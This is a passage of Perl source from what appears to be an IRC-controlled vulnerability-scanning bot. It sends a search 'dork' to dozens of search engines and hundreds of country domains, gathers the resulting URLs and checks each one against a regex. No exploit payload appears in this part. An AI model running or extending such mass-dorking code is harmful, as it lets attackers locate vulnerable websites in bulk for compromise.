  4241.     if ($engine eq "AE") { my @ae = &jack1($dork."+site:ae"); push(@total,@ae); }
  4242.     if ($engine eq "AR") { my @ar = &jack2($dork."+site:ar"); push(@total,@ar); }
  4243.     if ($engine eq "AT") { my @at = &jack3($dork."+site:at"); push(@total,@at); }
  4244.     if ($engine eq "AU") { my @au = &jack4($dork."+site:au"); push(@total,@au); }
  4245.     if ($engine eq "BR") { my @br = &jack5($dork."+site:br"); push(@total,@br); }
  4246.     if ($engine eq "CA") { my @ca = &jack6($dork."+site:ca"); push(@total,@ca); }
  4247.     if ($engine eq "CL") { my @cl = &jack7($dork."+site:cl"); push(@total,@cl); }
  4248.     if ($engine eq "CN") { my @cn = &jack8($dork."+site:cn"); push(@total,@cn); }
  4249.     if ($engine eq "CoM") { my @com = &jack9($dork."+site:com"); push(@total,@com); }
  4250.     if ($engine eq "CZ") { my @cz = &jack10($dork."+site:cz"); push(@total,@cz); }
  4251.     if ($engine eq "DE") { my @de = &jack1($dork."+site:de"); push(@total,@de); }
  4252.     if ($engine eq "DK") { my @dk = &jack2($dork."+site:dk"); push(@total,@dk); }
  4253.     if ($engine eq "ES") { my @es = &jack3($dork."+site:es"); push(@total,@es); }
  4254.     if ($engine eq "EU") { my @eu = &jack4($dork."+site:eu"); push(@total,@eu); }
  4255.     if ($engine eq "FR") { my @fr = &jack5($dork."+site:fr"); push(@total,@fr); }
  4256.     if ($engine eq "HU") { my @hu = &jack6($dork."+site:hu"); push(@total,@hu); }
  4257.     if ($engine eq "ID") { my @id = &jack7($dork."+site:id"); push(@total,@id); }
  4258.     if ($engine eq "IL") { my @il = &jack8($dork."+site:il"); push(@total,@il); }
  4259.     if ($engine eq "IN") { my @in = &jack9($dork."+site:in"); push(@total,@in); }
  4260.     if ($engine eq "InfO") { my @info = &jack10($dork."+site:info"); push(@total,@info); }
  4261.     if ($engine eq "IR") { my @ir = &jack1($dork."+site:ir"); push(@total,@ir); }
  4262.     if ($engine eq "IT") { my @it = &jack2($dork."+site:it"); push(@total,@it); }
  4263.     if ($engine eq "JP") { my @jp = &jack3($dork."+site:jp"); push(@total,@jp); }
  4264.     if ($engine eq "KR") { my @kr = &jack4($dork."+site:kr"); push(@total,@kr); }
  4265.     if ($engine eq "MX") { my @mx = &jack5($dork."+site:mx"); push(@total,@mx); }
  4266.     if ($engine eq "MY") { my @my = &jack6($dork."+site:my"); push(@total,@my); }
  4267.     if ($engine eq "NeT") { my @net = &jack7($dork."+site:net"); push(@total,@net); }
  4268.     if ($engine eq "NL") { my @nl = &jack8($dork."+site:nl"); push(@total,@nl); }
  4269.     if ($engine eq "OrG") { my @org = &jack9($dork."+site:org"); push(@total,@org); }
  4270.     if ($engine eq "PH") { my @ph = &jack10($dork."+site:ph"); push(@total,@ph); }
  4271.     if ($engine eq "PL") { my @pl = &jack1($dork."+site:pl"); push(@total,@pl); }
  4272.     if ($engine eq "RO") { my @ro = &jack2($dork."+site:ro"); push(@total,@ro); }
  4273.     if ($engine eq "RU") { my @ru = &jack3($dork."+site:ru"); push(@total,@ru); }
  4274.     if ($engine eq "TH") { my @th = &jack4($dork."+site:th"); push(@total,@th); }
  4275.     if ($engine eq "UA") { my @ua = &jack5($dork."+site:ua"); push(@total,@ua); }
  4276.     if ($engine eq "UK") { my @uk = &jack6($dork."+site:uk"); push(@total,@uk); }
  4277.     if ($engine eq "US") { my @us = &jack7($dork."+site:us"); push(@total,@us); }
  4278.     if ($engine eq "SI") { my @si = &jack8($dork."+site:si"); push(@total,@si); }
  4279.     if ($engine eq "BE") { my @be = &jack9($dork."+site:be"); push(@total,@be); }
  4280.     if ($engine eq "BIZ") { my @biz = &jack10($dork."+site:biz"); push(@total,@biz); }     
  4281.     if ($engine eq "XXX") { my @xxx = &jack1($dork."+site:xxx"); push(@total,@xxx); }
  4282.     if ($engine eq "TEL") { my @tel = &jack2($dork."+site:tel"); push(@total,@tel); }
  4283.     if ($engine eq "TV") { my @tv = &jack3($dork."+site:tv"); push(@total,@tv); }
  4284.     if ($engine eq "CC") { my @cc = &jack4($dork."+site:cc"); push(@total,@cc); }
  4285.     if ($engine eq "MIL") { my @mil = &jack5($dork."+site:mil"); push(@total,@mil); }
  4286.     if ($engine eq "ASIA") { my @asia = &jack6($dork."+site:asia"); push(@total,@asia); }
  4287.     if ($engine eq "NAME") { my @name = &jack7($dork."+site:name"); push(@total,@name); }
  4288.     if ($engine eq "PRO") { my @pro = &jack8($dork."+site:pro"); push(@total,@pro); }
  4289.     if ($engine eq "TRAVEL") { my @travel = &jack9($dork."+site:travel"); push(@total,@travel); }
  4290.     if ($engine eq "JOBS") { my @jobs = &jack10($dork."+site:jobs"); push(@total,@jobs); }
  4291.     if ($engine eq "MOBI") { my @mobi = &jack1($dork."+site:mobi"); push(@total,@mobi); }
  4292.     if ($engine eq "AERO") { my @aero = &jack2($dork."+site:aero"); push(@total,@aero); }
  4293.     if ($engine eq "CAT") { my @cat = &jack3($dork."+site:cat"); push(@total,@cat); }  
  4294.     if ($engine eq "COOP") { my @coop = &jack4($dork."+site:coop"); push(@total,@coop); }
  4295.     if ($engine eq "EDU") { my @edu = &jack5($dork."+site:edu"); push(@total,@edu); }
  4296.     if ($engine eq "GOV") { my @gov = &jack6($dork."+site:gov"); push(@total,@gov); }
  4297.     if ($engine eq "AS") { my @as = &jack7($dork."+site:as"); push(@total,@as); }
  4298.     if ($engine eq "AI") { my @ai = &jack8($dork."+site:ai"); push(@total,@ai); }
  4299.     if ($engine eq "AG") { my @ag = &jack9($dork."+site:ag"); push(@total,@ag); }
  4300.     if ($engine eq "AZ") { my @az = &jack10($dork."+site:az"); push(@total,@az); }
  4301.     if ($engine eq "BH") { my @bh = &jack1($dork."+site:bh"); push(@total,@bh); }
  4302.     if ($engine eq "BD") { my @bd = &jack2($dork."+site:bd"); push(@total,@bd); }
  4303.     if ($engine eq "BZ") { my @bz = &jack3($dork."+site:bz"); push(@total,@bz); }
  4304.     if ($engine eq "BO") { my @bo = &jack4($dork."+site:bo"); push(@total,@bo); }
  4305.     if ($engine eq "BA") { my @ba = &jack5($dork."+site:ba"); push(@total,@ba); }
  4306.     if ($engine eq "VG") { my @vg = &jack7($dork."+site:vg"); push(@total,@vg); }
  4307.     if ($engine eq "BG") { my @bg = &jack8($dork."+site:bg"); push(@total,@bg); }
  4308.     if ($engine eq "BI") { my @bi = &jack9($dork."+site:bi"); push(@total,@bi); }
  4309.     if ($engine eq "CO") { my @co = &jack10($dork."+site:co"); push(@total,@co); }
  4310.     if ($engine eq "CD") { my @cd = &jack1($dork."+site:cd"); push(@total,@cd); }
  4311.     if ($engine eq "CG") { my @cg = &jack2($dork."+site:cg"); push(@total,@cg); }
  4312.     if ($engine eq "CK") { my @ck = &jack3($dork."+site:ck"); push(@total,@ck); }
  4313.     if ($engine eq "CR") { my @cr = &jack4($dork."+site:cr"); push(@total,@cr); }
  4314.     if ($engine eq "HR") { my @hr = &jack5($dork."+site:hr"); push(@total,@hr); }
  4315.     if ($engine eq "CU") { my @cu = &jack6($dork."+site:cu"); push(@total,@cu); }
  4316.     if ($engine eq "CI") { my @ci = &jack7($dork."+site:ci"); push(@total,@ci); }
  4317.     if ($engine eq "DJ") { my @dj = &jack8($dork."+site:dj"); push(@total,@dj); }
  4318.     if ($engine eq "DM") { my @dm = &jack9($dork."+site:dm"); push(@total,@dm); }
  4319.     if ($engine eq "DO") { my @do = &jack10($dork."+site:do"); push(@total,@do); }
  4320.     if ($engine eq "EC") { my @ec = &jack1($dork."+site:ec"); push(@total,@ec); }
  4321.     if ($engine eq "EG") { my @eg = &jack2($dork."+site:eg"); push(@total,@eg); }
  4322.     if ($engine eq "SV") { my @sv = &jack3($dork."+site:sv"); push(@total,@sv); }
  4323.     if ($engine eq "EE") { my @ee = &jack4($dork."+site:ee"); push(@total,@ee); }
  4324.     if ($engine eq "ET") { my @et = &jack5($dork."+site:et"); push(@total,@et); }
  4325.     if ($engine eq "FJ") { my @fj = &jack6($dork."+site:fj"); push(@total,@fj); }
  4326.     if ($engine eq "FI") { my @fi = &jack7($dork."+site:fi"); push(@total,@fi); }
  4327.     if ($engine eq "GM") { my @gm = &jack8($dork."+site:gm"); push(@total,@gm); }
  4328.     if ($engine eq "GI") { my @gi = &jack9($dork."+site:gi"); push(@total,@gi); }
  4329.     if ($engine eq "GR") { my @gr = &jack10($dork."+site:gr"); push(@total,@gr); }
  4330.     if ($engine eq "GL") { my @gl = &jack1($dork."+site:gl"); push(@total,@gl); }
  4331.     if ($engine eq "GT") { my @gt = &jack2($dork."+site:gt"); push(@total,@gt); }
  4332.     if ($engine eq "GG") { my @gg = &jack3($dork."+site:gg"); push(@total,@gg); }
  4333.     if ($engine eq "HT") { my @ht = &jack4($dork."+site:ht"); push(@total,@ht); }
  4334.     if ($engine eq "HN") { my @hn = &jack5($dork."+site:hn"); push(@total,@hn); }
  4335.     if ($engine eq "HK") { my @hk = &jack6($dork."+site:hk"); push(@total,@hk); }
  4336.     if ($engine eq "IS") { my @is = &jack7($dork."+site:is"); push(@total,@is); }
  4337.     if ($engine eq "IE") { my @ie = &jack8($dork."+site:ie"); push(@total,@ie); }
  4338.     if ($engine eq "IM") { my @im = &jack9($dork."+site:im"); push(@total,@im); }
  4339.     if ($engine eq "JE") { my @je = &jack10($dork."+site:je"); push(@total,@je); }
  4340.     if ($engine eq "JO") { my @jo = &jack1($dork."+site:jo"); push(@total,@jo); }
  4341.     if ($engine eq "KZ") { my @kz = &jack2($dork."+site:kz"); push(@total,@kz); }
  4342.     if ($engine eq "KE") { my @ke = &jack3($dork."+site:ke"); push(@total,@ke); }
  4343.     if ($engine eq "KG") { my @kg = &jack4($dork."+site:kg"); push(@total,@kg); }
  4344.     if ($engine eq "LV") { my @lv = &jack5($dork."+site:lv"); push(@total,@lv); }
  4345.     if ($engine eq "LS") { my @ls = &jack6($dork."+site:ls"); push(@total,@ls); }
  4346.     if ($engine eq "LY") { my @ly = &jack7($dork."+site:ly"); push(@total,@ly); }
  4347.     if ($engine eq "LI") { my @li = &jack8($dork."+site:li"); push(@total,@li); }
  4348.     if ($engine eq "LT") { my @lt = &jack9($dork."+site:lt"); push(@total,@lt); }
  4349.     if ($engine eq "LU") { my @lu = &jack10($dork."+site:lu"); push(@total,@lu); }
  4350.     if ($engine eq "MW") { my @mw = &jack1($dork."+site:mw"); push(@total,@mw); }
  4351.     if ($engine eq "MT") { my @mt = &jack2($dork."+site:mt"); push(@total,@mt); }
  4352.     if ($engine eq "MU") { my @mu = &jack3($dork."+site:mu"); push(@total,@mu); }
  4353.     if ($engine eq "FM") { my @fm = &jack4($dork."+site:fm"); push(@total,@fm); }
  4354.     if ($engine eq "MN") { my @mn = &jack5($dork."+site:mn"); push(@total,@mn); }
  4355.     if ($engine eq "MS") { my @ms = &jack6($dork."+site:ms"); push(@total,@ms); }
  4356.     if ($engine eq "MA") { my @ma = &jack7($dork."+site:ma"); push(@total,@ma); }
  4357.     if ($engine eq "NA") { my @na = &jack8($dork."+site:na"); push(@total,@na); }
  4358.     if ($engine eq "NP") { my @np = &jack9($dork."+site:np"); push(@total,@np); }
  4359.     if ($engine eq "NZ") { my @nz = &jack10($dork."+site:nz"); push(@total,@nz); }
  4360.     if ($engine eq "NI") { my @ni = &jack1($dork."+site:ni"); push(@total,@ni); }
  4361.     if ($engine eq "NF") { my @nf = &jack2($dork."+site:nf"); push(@total,@nf); }
  4362.     if ($engine eq "NO") { my @no = &jack3($dork."+site:no"); push(@total,@no); }
  4363.     if ($engine eq "OM") { my @om = &jack4($dork."+site:om"); push(@total,@om); }
  4364.     if ($engine eq "PK") { my @pk = &jack5($dork."+site:pk"); push(@total,@pk); }
  4365.     if ($engine eq "PA") { my @pa = &jack6($dork."+site:pa"); push(@total,@pa); }
  4366.     if ($engine eq "PY") { my @py = &jack7($dork."+site:py"); push(@total,@py); }
  4367.     if ($engine eq "PE") { my @pe = &jack8($dork."+site:pe"); push(@total,@pe); }
  4368.     if ($engine eq "PN") { my @pn = &jack9($dork."+site:pn"); push(@total,@pn); }
  4369.     if ($engine eq "PT") { my @pt = &jack10($dork."+site:pt"); push(@total,@pt); }
  4370.     if ($engine eq "PR") { my @pr = &jack1($dork."+site:pr"); push(@total,@pr); }
  4371.     if ($engine eq "QA") { my @qa = &jack2($dork."+site:qa"); push(@total,@qa); }
  4372.     if ($engine eq "RW") { my @rw = &jack3($dork."+site:rw"); push(@total,@rw); }
  4373.     if ($engine eq "SH") { my @sh = &jack4($dork."+site:sh"); push(@total,@sh); }
  4374.     if ($engine eq "SM") { my @sm = &jack5($dork."+site:sm"); push(@total,@sm); }
  4375.     if ($engine eq "SA") { my @sa = &jack6($dork."+site:sa"); push(@total,@sa); }
  4376.     if ($engine eq "SN") { my @sn = &jack7($dork."+site:sn"); push(@total,@sn); }
  4377.     if ($engine eq "SC") { my @sc = &jack8($dork."+site:sc"); push(@total,@sc); }
  4378.     if ($engine eq "SG") { my @sg = &jack9($dork."+site:sg"); push(@total,@sg); }
  4379.     if ($engine eq "SK") { my @sk = &jack10($dork."+site:sk"); push(@total,@sk); }
  4380.     if ($engine eq "ZA") { my @za = &jack1($dork."+site:za"); push(@total,@za); }
  4381.     if ($engine eq "LK") { my @lk = &jack2($dork."+site:lk"); push(@total,@lk); }
  4382.     if ($engine eq "VC") { my @vc = &jack3($dork."+site:vc"); push(@total,@vc); }
  4383.     if ($engine eq "SE") { my @se = &jack4($dork."+site:se"); push(@total,@se); }
  4384.     if ($engine eq "CH") { my @ch = &jack5($dork."+site:ch"); push(@total,@ch); }
  4385.     if ($engine eq "TW") { my @tw = &jack6($dork."+site:tw"); push(@total,@tw); }
  4386.     if ($engine eq "TJ") { my @tj = &jack7($dork."+site:tj"); push(@total,@tj); }
  4387.     if ($engine eq "BS") { my @bs = &jack8($dork."+site:bs"); push(@total,@bs); }
  4388.     if ($engine eq "TO") { my @to = &jack9($dork."+site:to"); push(@total,@to); }
  4389.     if ($engine eq "TT") { my @tt = &jack10($dork."+site:tt"); push(@total,@tt); }
  4390.     if ($engine eq "TR") { my @tr = &jack1($dork."+site:tr"); push(@total,@tr); }
  4391.     if ($engine eq "TM") { my @tm = &jack2($dork."+site:tm"); push(@total,@tm); }
  4392.     if ($engine eq "VI") { my @vi = &jack3($dork."+site:vi"); push(@total,@vi); }
  4393.     if ($engine eq "UG") { my @ug = &jack4($dork."+site:ug"); push(@total,@ug); }
  4394.     if ($engine eq "UY") { my @uy = &jack5($dork."+site:uy"); push(@total,@uy); }
  4395.     if ($engine eq "UZ") { my @uz = &jack6($dork."+site:uz"); push(@total,@uz); }
  4396.     if ($engine eq "VE") { my @ve = &jack7($dork."+site:ve"); push(@total,@ve); }
  4397.     if ($engine eq "VN") { my @vn = &jack8($dork."+site:vn"); push(@total,@vn); }
  4398.     if ($engine eq "ZM") { my @zm = &jack9($dork."+site:zm"); push(@total,@zm); }
  4399.     if ($engine eq "ws") { my @ws = &jack10($dork."+site:ws"); push(@total,@ws); }
  4400.     if ($engine eq "af") { my @af = &jack1($dork."+site:af"); push(@total,@af); }
  4401.     if ($engine eq "ax") { my @ax = &jack2($dork."+site:ax"); push(@total,@ax); }
  4402.     if ($engine eq "al") { my @al = &jack3($dork."+site:al"); push(@total,@al); }
  4403.     if ($engine eq "dz") { my @dz = &jack4($dork."+site:dz"); push(@total,@dz); }
  4404.     if ($engine eq "ao") { my @ao = &jack5($dork."+site:ao"); push(@total,@ao); }
  4405.     if ($engine eq "aq") { my @aq = &jack6($dork."+site:aq"); push(@total,@aq); }
  4406.     if ($engine eq "am") { my @am = &jack7($dork."+site:am"); push(@total,@am); }
  4407.     if ($engine eq "aw") { my @aw = &jack8($dork."+site:aw"); push(@total,@aw); }
  4408.     if ($engine eq "ac") { my @ac = &jack9($dork."+site:ac"); push(@total,@ac); }
  4409.     if ($engine eq "bj") { my @bj = &jack10($dork."+site:bj"); push(@total,@bj); }
  4410.     if ($engine eq "bm") { my @bm = &jack1($dork."+site:bm"); push(@total,@bm); }
  4411.     if ($engine eq "bt") { my @bt = &jack2($dork."+site:bt"); push(@total,@bt); }
  4412.     if ($engine eq "bw") { my @bw = &jack3($dork."+site:bw"); push(@total,@bw); }
  4413.     if ($engine eq "io") { my @io = &jack4($dork."+site:io"); push(@total,@io); }
  4414.     if ($engine eq "bn") { my @bn = &jack5($dork."+site:bn"); push(@total,@bn); }
  4415.     if ($engine eq "bf") { my @bf = &jack6($dork."+site:bf"); push(@total,@bf); }
  4416.     if ($engine eq "kh") { my @kh = &jack7($dork."+site:kh"); push(@total,@kh); }
  4417.     if ($engine eq "cm") { my @cm = &jack8($dork."+site:cm"); push(@total,@cm); }
  4418.     if ($engine eq "cv") { my @cv = &jack9($dork."+site:cv"); push(@total,@cv); }
  4419.         if ($engine eq "ky") { my @ky = &jack10($dork."+site:ky"); push(@total,@ky); }
  4420.     if ($engine eq "cf") { my @cf = &jack1($dork."+site:cf"); push(@total,@cf); }
  4421.     if ($engine eq "cx") { my @cx = &jack2($dork."+site:cx"); push(@total,@cx); }
  4422.     if ($engine eq "cw") { my @cw = &jack3($dork."+site:cw"); push(@total,@cw); }
  4423.     if ($engine eq "cy") { my @cy = &jack4($dork."+site:cy"); push(@total,@cy); }
  4424.     if ($engine eq "fk") { my @fk = &jack5($dork."+site:fk"); push(@total,@fk); }
  4425.     if ($engine eq "fo") { my @fo = &jack6($dork."+site:fo"); push(@total,@fo); }
  4426.     if ($engine eq "gh") { my @gh = &jack7($dork."+site:gh"); push(@total,@gh); }
  4427.     if ($engine eq "gd") { my @gd = &jack8($dork."+site:gd"); push(@total,@gd); }
  4428.     if ($engine eq "gp") { my @gp = &jack9($dork."+site:gp"); push(@total,@gp); }
  4429.     if ($engine eq "gu") { my @gu = &jack10($dork."+site:gu"); push(@total,@gu); }
  4430.     if ($engine eq "gn") { my @gn = &jack1($dork."+site:gn"); push(@total,@gn); }
  4431.     if ($engine eq "gy") { my @gy = &jack2($dork."+site:gy"); push(@total,@gy); }
  4432.     if ($engine eq "hm") { my @hm = &jack3($dork."+site:hm"); push(@total,@hm); }
  4433.     if ($engine eq "iq") { my @iq = &jack4($dork."+site:ig"); push(@total,@iq); }
  4434.     if ($engine eq "jm") { my @jm = &jack5($dork."+site:jm"); push(@total,@jm); }
  4435.     if ($engine eq "ki") { my @ki = &jack6($dork."+site:ki"); push(@total,@ki); }
  4436.     if ($engine eq "kw") { my @kw = &jack7($dork."+site:kw"); push(@total,@kw); }
  4437.     if ($engine eq "la") { my @la = &jack8($dork."+site:la"); push(@total,@la); }
  4438.     if ($engine eq "lb") { my @lb = &jack9($dork."+site:lb"); push(@total,@lb); }  
  4439.         if ($engine eq "lr") { my @lr = &jack10($dork."+site:lr"); push(@total,@lr); }
  4440.     if ($engine eq "mo") { my @mo = &jack1($dork."+site:mo"); push(@total,@mo); }
  4441.     if ($engine eq "mg") { my @mg = &jack2($dork."+site:mg"); push(@total,@mg); }
  4442.     if ($engine eq "mv") { my @mv = &jack3($dork."+site:my"); push(@total,@mv); }
  4443.     if ($engine eq "mp") { my @mp = &jack4($dork."+site:mp"); push(@total,@mp); }
  4444.     if ($engine eq "mq") { my @mq = &jack5($dork."+site:mg"); push(@total,@mq); }
  4445.     if ($engine eq "mr") { my @mr = &jack6($dork."+site:mr"); push(@total,@mr); }
  4446.     if ($engine eq "yt") { my @yt = &jack7($dork."+site:yt"); push(@total,@yt); }
  4447.     if ($engine eq "md") { my @md = &jack8($dork."+site:md"); push(@total,@md); }
  4448.     if ($engine eq "mc") { my @mc = &jack9($dork."+site:mc"); push(@total,@mc); }
  4449.     if ($engine eq "me") { my @me = &jack10($dork."+site:me"); push(@total,@me); }
  4450.     if ($engine eq "mz") { my @mz = &jack1($dork."+site:mz"); push(@total,@mz); }
  4451.     if ($engine eq "nr") { my @nr = &jack2($dork."+site:nr"); push(@total,@nr); }
  4452.     if ($engine eq "nc") { my @nc = &jack3($dork."+site:nc"); push(@total,@nc); }
  4453.     if ($engine eq "ng") { my @ng = &jack4($dork."+site:ng"); push(@total,@ng); }
  4454.     if ($engine eq "nu") { my @nu = &jack5($dork."+site:nu"); push(@total,@nu); }
  4455.     if ($engine eq "pw") { my @pw = &jack6($dork."+site:pw"); push(@total,@pw); }
  4456.     if ($engine eq "ps") { my @ps = &jack7($dork."+site:ps"); push(@total,@ps); }
  4457.     if ($engine eq "cq") { my @cq = &jack8($dork."+site:cg"); push(@total,@cq); }
  4458.     if ($engine eq "re") { my @re = &jack9($dork."+site:re"); push(@total,@re); }
  4459.     if ($engine eq "lc") { my @lc = &jack10($dork."+site:lc"); push(@total,@lc); }
  4460.     if ($engine eq "pm") { my @pm = &jack1($dork."+site:pm"); push(@total,@pm); }
  4461.     if ($engine eq "st") { my @st = &jack2($dork."+site:st"); push(@total,@st); }
  4462.     if ($engine eq "rs") { my @rs = &jack3($dork."+site:rs"); push(@total,@rs); }
  4463.     if ($engine eq "gs") { my @gs = &jack4($dork."+site:gs"); push(@total,@gs); }
  4464.     if ($engine eq "sl") { my @sl = &jack5($dork."+site:sl"); push(@total,@sl); }
  4465.     if ($engine eq "sx") { my @sx = &jack6($dork."+site:sx"); push(@total,@sx); }
  4466.     if ($engine eq "sb") { my @sb = &jack7($dork."+site:sb"); push(@total,@sb); }
  4467.     if ($engine eq "so") { my @so = &jack8($dork."+site:so"); push(@total,@so); }
  4468.     if ($engine eq "su") { my @su = &jack9($dork."+site:su"); push(@total,@su); }
  4469.     if ($engine eq "kn") { my @kn = &jack10($dork."+site:kn"); push(@total,@kn); }
  4470.     if ($engine eq "sr") { my @sr = &jack1($dork."+site:sr"); push(@total,@sr); }
  4471.     if ($engine eq "tz") { my @tz = &jack2($dork."+site:tz"); push(@total,@tz); }
  4472.     if ($engine eq "tl") { my @tl = &jack3($dork."+site:tl"); push(@total,@tl); }
  4473.     if ($engine eq "tg") { my @tg = &jack4($dork."+site:tg"); push(@total,@tg); }
  4474.     if ($engine eq "tk") { my @tk = &jack5($dork."+site:tk"); push(@total,@tk); }
  4475.     if ($engine eq "tn") { my @tn = &jack6($dork."+site:tn"); push(@total,@tn); }
  4476.     if ($engine eq "tc") { my @tc = &jack7($dork."+site:tc"); push(@total,@tc); }
  4477.     if ($engine eq "vu") { my @vu = &jack8($dork."+site:vu"); push(@total,@vu); }
  4478.     if ($engine eq "wf") { my @wf = &jack9($dork."+site:wf"); push(@total,@wf); }
  4479.     if ($engine eq "ws") { my @ws = &jack10($dork."+site:ws"); push(@total,@ws); }
  4480.     if ($engine eq "ye") { my @ye = &jack1($dork."+site:ye"); push(@total,@ye); }
  4481.     if ($engine eq "zw") { my @zw = &jack2($dork."+site:zw"); push(@total,@zw); }  
  4482.     if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  4483.     if ($engine eq "WaLLa") { my @walla = &walla($dork,$chan); push(@total,@walla); }
  4484.     if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  4485.     if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  4486.     if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  4487.     if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  4488.     if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
  4489.     if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
  4490.     if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  4491.     if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  4492.     if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  4493.     if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  4494.     if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
  4495.     if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  4496.     if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }    
  4497.     if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
  4498.     if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); }
  4499.     if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }
  4500.     if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
  4501.     if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
  4502.     if ($engine eq "webcrawler") { my @webcrawler = &webcrawler($dork); push(@total,@webcrawler); }    
  4503.     if ($engine eq "witch") { my @witch = &witch($dork); push(@total,@witch); }
  4504.     if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); }
  4505.     if ($engine eq "gibla") { my @gibla = &gibla($dork); push(@total,@gibla); }
  4506.     if ($engine eq "mywebsearch") { my @mywebsearch = &mywebsearch($dork); push(@total,@mywebsearch); }
  4507.     if ($engine eq "dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); }
  4508.     if ($engine eq "infocom") { my @infocom = &infocom($dork); push(@total,@infocom); }
  4509.     if ($engine eq "searchcom") { my @searchcom = &searchcom($dork); push(@total,@searchcom); }
  4510.     if ($engine eq "teoma") { my @teoma = &teoma($dork); push(@total,@teoma); }
  4511.     if ($engine eq "volunia") { my @volunia = &volunia($dork); push(@total,@volunia); }
  4512.     if ($engine eq "izito") { my @izito = &izito($dork); push(@total,@izito); }
  4513.     if ($engine eq "becak") { my @becak = &becak($dork); push(@total,@becak); }
  4514.     if ($engine eq "bokep") { my @bokep = &bokep($dork); push(@total,@bokep); }
  4515.     if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); }
  4516.     if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
  4517.     @clean = &clean(@total);
  4518.     if ($silentmode == 0) {
  4519.     &msg("$chan","$logo(4$engine14) 4::.12 ".scalar(@total)." 14)4.::"); }
  4520.     return @clean;
  4521. }
  4522. ##################################################################################
  4523. sub isFound() {
  4524.     my $status = 0;
  4525.     my $link = $_[0];
  4526.     my $reqexp = $_[1];
  4527.     my $res = &get_content($link);
  4528.     if ($res =~ /$reqexp/) { $status = 1 }
  4529.     return $status;
  4530. }
  4531.  
  4532. sub get_content() {
  4533.     my $url = $_[0];
  4534.     my $ua = LWP::UserAgent->new(agent => $uagent);
  4535.     $ua->timeout($timot);
  4536.     my $req = HTTP::Request->new(GET => $url);
  4537.     my $res = $ua->request($req);
  4538.     return $res->content;
  4539. }
  4540. ######################################### SEARCH ENGINE
  4541. sub googleCA() {
  4542.     my @list;
  4543.     my $key = $_[0];
  4544.     for (my $i=0; $i<=500; $i+=50){
  4545.         my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4546.         my $res = &search_engine_query($search);
  4547.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4548.             my $link = $1;
  4549.             if ($link !~ /googleCA/){
  4550.                 my @grep = links($link);
  4551.                 push(@list,@grep);
  4552.             }
  4553.         }
  4554.     }
  4555.     return @list;
  4556. }
  4557.  
  4558. sub googleDE() {
  4559.     my @list;
  4560.     my $key = $_[0];
  4561.     for (my $i=0; $i<=500; $i+=50){
  4562.         my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4563.         my $res = &search_engine_query($search);
  4564.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4565.             my $link = $1;
  4566.             if ($link !~ /googleDE/){
  4567.                 my @grep = links($link);
  4568.                 push(@list,@grep);
  4569.             }
  4570.         }
  4571.     }
  4572.     return @list;
  4573. }
  4574.  
  4575. sub googleUK() {
  4576.     my @list;
  4577.     my $key = $_[0];
  4578.     for (my $i=0; $i<=500; $i+=50){
  4579.         my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4580.         my $res = &search_engine_query($search);
  4581.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4582.             my $link = $1;
  4583.             if ($link !~ /googleUK/){
  4584.                 my @grep = links($link);
  4585.                 push(@list,@grep);
  4586.             }
  4587.         }
  4588.     }
  4589.     return @list;
  4590. }
  4591.  
  4592. sub googleFR() {
  4593.     my @list;
  4594.     my $key = $_[0];
  4595.     for (my $i=0; $i<=500; $i+=50){
  4596.         my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4597.         my $res = &search_engine_query($search);
  4598.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4599.             my $link = $1;
  4600.             if ($link !~ /googleFR/){
  4601.                 my @grep = links($link);
  4602.                 push(@list,@grep);
  4603.             }
  4604.         }
  4605.     }
  4606.     return @list;
  4607. }
  4608.  
  4609. sub googleES() {
  4610.     my @list;
  4611.     my $key = $_[0];
  4612.     for (my $i=0; $i<=500; $i+=50){
  4613.         my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4614.         my $res = &search_engine_query($search);
  4615.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4616.             my $link = $1;
  4617.             if ($link !~ /googleES/){
  4618.                 my @grep = links($link);
  4619.                 push(@list,@grep);
  4620.             }
  4621.         }
  4622.     }
  4623.     return @list;
